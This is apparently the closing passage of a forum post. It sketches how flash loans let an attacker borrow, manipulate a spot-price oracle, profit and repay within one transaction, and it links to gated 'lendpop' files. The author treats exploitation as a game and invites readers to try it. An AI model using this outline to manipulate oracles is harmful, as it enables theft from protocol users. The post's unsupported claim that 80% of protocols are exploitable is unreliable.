use it to manipulate markets
use manipulation to profit
repay loan
keep profit
all in 0.2 seconds
if ANY step fails, reverts like nothing happened

why this exists ?

flash loans are FEATURE not bug. designed for:

arbitrage, profit from price differences between dexes
collateral swaps, replace one collateral with another
liquidations, liquidate underwater positions without capital

legitimate uses (who cares lol), but also enables exploits.

evm doesnt know or care if youre:
doing legit arbitrage
manipulating oracle to steal funds

both look identical to blockchain. just contract calls.

so, thats the game. play accordingly

## closing
wrote this one sitting. 8+ hours straight, didnt plan just kept writing.

if you made it here:

a) wanna do this (good luck)
b) interesting read (thanks)
c) work for alphabet agency (ssup)

whole thing proves> defi security theater. tbh everyone talks audits safety but 80% protocols have exploitable vulns. just not found yet and its true

lendpop vuln (spot price oracle) killed 30+ protocols. everyone knows it, knows fix. new protocols STILL make mistake.

so devs either malicious (unlikely) or incompetent (likely), cant trust anything.

real lesson: not "how to scam" but "everything already scam" xD

stay safe, or dont, not your dad lol.





lendpop files:
Please, Log in or Register to view URLs content!